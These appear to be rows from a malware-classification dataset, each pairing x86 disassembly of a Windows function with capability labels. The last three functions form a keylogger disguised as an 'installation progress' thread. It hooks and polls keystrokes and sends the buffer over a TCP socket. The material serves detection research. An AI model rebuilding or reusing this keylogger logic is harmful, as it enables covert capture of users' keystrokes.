joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4187c2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x426d80], ebx
push esi
push edi
jne 0x418842
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x41887d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41ee74
push edi
call esi
test eax, eax
mov dword [0x426d80], eax
je 0x41887d
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x426d84], eax
call esi
cmp dword [0x426a58], 2
mov dword [0x426d88], eax
jne 0x418842
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x426d90], eax
je 0x418842
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x426d8c], eax
mov eax, dword [0x426d8c]
test eax, eax
je 0x418887
call eax
test eax, eax
je 0x41886e
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x426d90]
test eax, eax
je 0x41886e
test byte [ebp - 8], 1
jne 0x418887
cmp dword [0x426a64], 4
jb 0x418881
or byte [ebp + 0x12], 0x20
jmp 0x4188a6
xor eax, eax
jmp 0x4188b6
or byte [ebp + 0x12], 4
jmp 0x4188a6
mov eax, dword [0x426d84]
test eax, eax
je 0x4188a6
call eax
mov ebx, eax
test ebx, ebx
je 0x4188a6
mov eax, dword [0x426d88]
test eax, eax
je 0x4188a6
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x426d80]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x418c9d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x418e73
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x428040]
mov eax, dword [edi]
shl esi, 2
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x418e73
test cl, 0x48
je 0x418d08
cmp byte [eax + 5], 0xa
je 0x418d08
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x418d5a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x418d42
call fcn.00410138
mov dword [eax], 9
call fcn.00410141
mov dword [eax], esi
jmp 0x418d52
cmp eax, 0x6d
je 0x418e73
push eax
call fcn.0041014a
pop ecx
or eax, 0xffffffff
jmp 0x418e75
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
add dword [ebp - 8], eax
test byte [ecx + esi + 4], 0x80
je 0x418e6e
test eax, eax
je 0x418d81
cmp byte [ebx], 0xa
jne 0x418d81
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x418d8a
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
add ecx, eax
cmp eax, ecx
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], ecx
jae 0x418e68
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x418e58
cmp al, 0xd
je 0x418dbc
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x418e4a
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x418dd6
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x418dd1
add dword [ebp + 0x10], 2
jmp 0x418e2a
mov dword [ebp + 0x10], eax
jmp 0x418e46
inc dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x418dfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x418e46
cmp dword [ebp - 0xc], 0
je 0x418e46
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x418e1f
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x418e2a
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x418e49
cmp ebx, dword [ebp + 0xc]
jne 0x418e2f
cmp byte [ebp - 1], 0xa
jne 0x418e2f
mov byte [ebx], 0xa
jmp 0x418e49
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00418b5c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x418e4a
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x418da0
jmp 0x418e68
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x418e68
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x418e75
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4195ed
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040e050
mov eax, dword [0x4212e8]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.0041582d
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x419722
push 2
push esi
push dword [ebp + 8]
call fcn.0041582d
add esp, 0xc
cmp eax, ebx
je 0x419722
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x4196c2
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.00416860
push 0x8000
push dword [ebp + 8]
call fcn.0041a33a
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x419678
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.00415102
add esp, 0xc
cmp eax, 0xffffffff
je 0x419698
sub edi, eax
test edi, edi
jg 0x419670
jmp 0x4196b0
call fcn.00410141
cmp dword [eax], 5
jne 0x4196ad
call fcn.00410138
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.0041a33a
pop ecx
pop ecx
jmp 0x41970a
jge 0x41970a
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041582d
push dword [ebp + 8]
call fcn.00416249
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x41970a
call fcn.00410138
mov dword [eax], 0xd
call fcn.00410141
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.0041582d
add esp, 0xc
mov eax, esi
pop edi
jmp 0x419724
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c31b
leave
ret
Function at 0x419732
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x41eed0
call fcn.004100ec
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x426d9c], edi
jne 0x419776
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x419761
mov dword [0x426d9c], ebx
jmp 0x419776
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x419776
mov dword [0x426d9c], 2
mov eax, dword [0x426d9c]
cmp eax, ebx
jne 0x419796
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x419859
cmp eax, 2
je 0x41979f
cmp eax, edi
jne 0x4197c7
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], edi
jne 0x4197b2
mov eax, dword [0x426d04]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x4197ce
xor eax, eax
jmp 0x419859
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.0040e050
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x419801
cmp esi, edi
jne 0x419817
push dword [ebp - 0x20]
call fcn.0040d02b
pop ecx
mov esi, eax
cmp esi, edi
je 0x4197c7
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x20]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x41984a
cmp dword [ebp + 0x14], edi
jne 0x419834
push edi
push edi
jmp 0x41983a
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], edi
je 0x419856
push esi
call fcn.0040c9c7
pop ecx
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.00410127
ret
Function at 0x419862
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x41eee0
call fcn.004100ec
xor esi, esi
cmp dword [0x426da0], esi
jne 0x4198a6
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x419891
mov dword [0x426da0], edi
jmp 0x4198a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4198a6
mov dword [0x426da0], 2
mov eax, dword [0x426da0]
cmp eax, 2
je 0x419987
cmp eax, esi
je 0x419987
cmp eax, 1
jne 0x4198eb
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x4198d4
mov eax, dword [0x426d04]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x4198f2
xor eax, eax
jmp 0x419999
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.0040e050
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x419928
cmp edi, esi
jne 0x419943
lea eax, [ebx + ebx]
push eax
call fcn.0040d02b
pop ecx
mov edi, eax
cmp edi, esi
je 0x4198eb
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x419976
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x419960
push esi
push esi
jmp 0x419966
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x419982
push edi
call fcn.0040c9c7
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x419999
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.00410127
ret
Function at 0x41a8a2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
mov dword [ebp - 0xc], ebx
mov byte [ebp - 1], bl
je 0x41a8cd
cmp eax, 1
je 0x41a8cd
jle 0x41a8d5
cmp eax, 3
jle 0x41a8cd
cmp eax, 4
jne 0x41a8d5
mov byte [ebp - 1], 1
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
jmp 0x41a900
call fcn.00410138
mov dword [eax], 0x16
call fcn.00410141
mov dword [eax], ebx
or eax, 0xffffffff
jmp 0x41aa79
inc eax
cmp byte [eax], bl
jne 0x41a8ef
lea ecx, [eax + 1]
cmp byte [ecx], bl
je 0x41a900
mov byte [eax], 0x20
mov eax, ecx
cmp byte [eax], bl
jne 0x41a8ef
push esi
push 0x44
pop esi
push esi
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.00416860
mov dword [ebp - 0x68], esi
mov esi, dword [0x428024]
add esp, 0xc
cmp esi, ebx
je 0x41a946
lea ecx, [esi - 1]
mov edx, ecx
mov eax, ecx
sar edx, 5
mov edx, dword [edx*4 + 0x428040]
and eax, 0x1f
lea eax, [eax + eax*8]
cmp byte [edx + eax*4 + 4], bl
jne 0x41a946
dec esi
dec ecx
cmp esi, ebx
jne 0x41a926
lea eax, [esi + esi*4 + 4]
mov word [ebp - 0x36], ax
push edi
movzx eax, ax
push 1
push eax
call fcn.004188bb
cmp esi, ebx
mov dword [ebp - 0x34], eax
pop ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x34]
pop ecx
mov dword [ebp - 8], ebx
lea ecx, [eax + 4]
lea edx, [eax + esi + 4]
jle 0x41a9ad
mov eax, dword [ebp - 8]
mov edi, eax
sar edi, 5
mov edi, dword [edi*4 + 0x428040]
and eax, 0x1f
lea eax, [eax + eax*8]
lea edi, [edi + eax*4]
mov al, byte [edi + 4]
test al, 0x10
jne 0x41a999
mov byte [ecx], al
mov eax, dword [edi]
mov dword [edx], eax
jmp 0x41a99e
mov byte [ecx], bl
or dword [edx], 0xffffffff
inc dword [ebp - 8]
inc ecx
add edx, 4
cmp dword [ebp - 8], esi
jl 0x41a972
mov eax, dword [ebp - 0x34]
cmp byte [ebp - 1], bl
je 0x41a9de
lea ecx, [eax + 4]
xor edx, edx
lea eax, [eax + esi + 4]
cmp esi, 3
jge 0x41a9c4
mov edi, esi
jmp 0x41a9c7
push 3
pop edi
cmp edx, edi
jge 0x41a9d7
mov byte [ecx], bl
or dword [eax], 0xffffffff
inc edx
inc ecx
add eax, 4
jmp 0x41a9bb
mov dword [ebp - 0xc], 8
call fcn.00410138
mov dword [eax], ebx
call fcn.00410141
mov dword [eax], ebx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push ebx
push dword [ebp + 0x14]
push dword [ebp - 0xc]
push 1
push ebx
push ebx
push dword [ebp - 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x34]
mov edi, eax
call fcn.0040c9c7
cmp esi, ebx
pop ecx
jne 0x41aa2e
push edi
call fcn.0041014a
pop ecx
or eax, 0xffffffff
jmp 0x41aa77
cmp dword [ebp + 8], 2
jne 0x41aa3a
push ebx
call fcn.00411cbc
cmp dword [ebp + 8], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x41aa67
push 0xffffffffffffffff
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ebx, dword [ebp - 0x14]
push dword [ebp - 0x24]
call esi
jmp 0x41aa70
cmp dword [ebp + 8], 4
je 0x41aa60
mov ebx, dword [ebp - 0x24]
push dword [ebp - 0x20]
call esi
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401831
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x404aac]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x210]
push edi
mov edi, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x208
push eax
push 0
push 2
push esi
push str.SoftwareMicrosoftOffice16.0CommonFilesPaths
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x40189a
cmp dword [ebp - 0x210], 4
jb 0x40189a
test edi, edi
lea eax, [ebp - 0x20c]
cmovne esi, edi
push esi
push eax
call fcn.00401954
jmp 0x40189c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040204b
mov esp, ebp
pop ebp
ret 8

Function at 0x4018ae
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x404aac]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x208
push eax
push 0
push 2
push str.CommonFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x401941
mov ecx, dword [ebp - 0x210]
cmp ecx, 4
jb 0x401941
shr ecx, 1
push 0xffffffffffffffff
cmp word [ebp + ecx*2 - 0x210], 0x5c
sete al
lea eax, [eax*2 + str.Microsoft_SharedOffice16_]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat_s]
add esp, 0x10
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00401954
jmp 0x401943
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040204b
mov esp, ebp
pop ebp
ret 4

Function at 0x402059
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
push ebx
mov ebx, 0xbb40e64e
cmp dword [0x404aac], eax
je 0x40207b
cmp dword [0x404aac], ebx
jne 0x40210f
push edi
push eax
push eax
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edi, dword [ebp - 8]
xor edi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
xor edi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x404aac
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
test edi, edi
push eax
push dword [ebp - 4]
cmovne ebx, edi
mov edi, 0x404aac
push 4
push edi
mov dword [0x404aac], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 4
push edi
call sub.KERNEL32.dll_WerRegisterMemoryBlock
mov eax, dword [0x404aac]
not eax
mov dword [0x4060e8], eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40233f
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x4051f8
call fcn.00402861
push 1
call fcn.004023c2
pop ecx
test al, al
jne 0x4021e8
push 7
call fcn.00402a74
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0040238d
mov byte [ebp - 0x24], al
mov eax, dword [0x40633c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4021e1
test eax, eax
jne 0x402252
mov dword [0x40633c], ecx
push 0x40429c
push 0x404284
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x402235
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x402339
push 0x404280
push 0x40426c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40633c], 2
jmp 0x402257
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040251f
pop ecx
call fcn.00402a68
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x402287
push esi
call fcn.00402492
pop ecx
test al, al
je 0x402287
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00402ca3
call esi
call fcn.00402a6e
mov esi, eax
cmp dword [esi], edi
je 0x4022a5
push esi
call fcn.00402492
pop ecx
test al, al
je 0x4022a5
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.00402b89
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_wide_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.00402bbc
test al, al
jne 0x4022de
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x4022e7
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.0040253c
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x402339
call fcn.004028a7
ret
call fcn.00402059
jmp 0x4021c9
Function at 0x401460
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x134
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x114]
mov eax, 0
mov ecx, 0x40
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._GetKeyboardState_4
sub esp, 4
mov dword [esp], 0
call sym._GetKeyboardLayout_4
sub esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 2
lea edx, [ebp - 0x14]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x114]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._ToUnicode_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x401505
mov eax, dword [0x408020]
lea edx, [eax + 1]
mov dword [0x408020], edx
movzx edx, word [ebp - 0x14]
mov byte [eax + 0x4080a0], dl
jmp 0x401595
mov eax, dword [ebp + 8]
cmp eax, 9
je 0x40153a
cmp eax, 9
jg 0x401519
cmp eax, 8
je 0x401568
jmp 0x40157f
cmp eax, 0xd
je 0x401551
cmp eax, 0x20
jne 0x40157f
mov eax, dword [0x408020]
lea edx, [eax + 1]
mov dword [0x408020], edx
mov byte [eax + 0x4080a0], 0x20
jmp 0x401595
mov eax, dword [0x408020]
lea edx, [eax + 1]
mov dword [0x408020], edx
mov byte [eax + 0x4080a0], 9
jmp 0x401595
mov eax, dword [0x408020]
lea edx, [eax + 1]
mov dword [0x408020], edx
mov byte [eax + 0x4080a0], 0xa
jmp 0x401595
mov eax, dword [0x408020]
lea edx, [eax + 1]
mov dword [0x408020], edx
mov byte [eax + 0x4080a0], 8
jmp 0x401595
mov eax, dword [0x408020]
lea edx, [eax + 1]
mov dword [0x408020], edx
mov byte [eax + 0x4080a0], 0x3f
nop
mov eax, dword [0x408020]
cmp eax, 0x32
jne 0x4015b5
mov byte [0x4080d2], 0
call sym._sendlog
mov dword [0x408020], 0
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x40160c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x40164c
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.WSAStartup_failed:__d_n
call sym._printf
jmp 0x401741
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401693
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Could_not_create_socket__Error:__d_n
call sym._printf
call sym._WSACleanup_0
jmp 0x401741
mov dword [esp], str.127.0.0.1
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1a8], eax
mov word [ebp - 0x1ac], 2
mov dword [esp], 0x3039
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1aa], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
test eax, eax
jns 0x401700
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x401741
mov dword [esp], 0x4080a0
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4080a0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
leave
ret
Function at 0x4017ca
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call sym.___main
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._fortnite_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401836
mov dword [esp], str.Failed_to_create_installation_progress_thread_
call sym._puts
mov eax, 1
jmp 0x4018fd
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], sym._KeyboardProc_12
mov dword [esp], 0xd
call sym._SetWindowsHookExA_16
sub esp, 0x10
mov dword [0x408080], eax
mov eax, dword [0x408080]
test eax, eax
jne 0x40189a
mov dword [esp], str.Failed_to_set_hook_
call sym._puts
mov eax, 1
jmp 0x4018fd
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._TranslateMessage_4
sub esp, 4
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._DispatchMessageA_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._GetMessageA_16
sub esp, 0x10
test eax, eax
jne 0x40187e
mov eax, dword [0x408080]
mov dword [esp], eax
call sym._UnhookWindowsHookEx_4
sub esp, 4
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret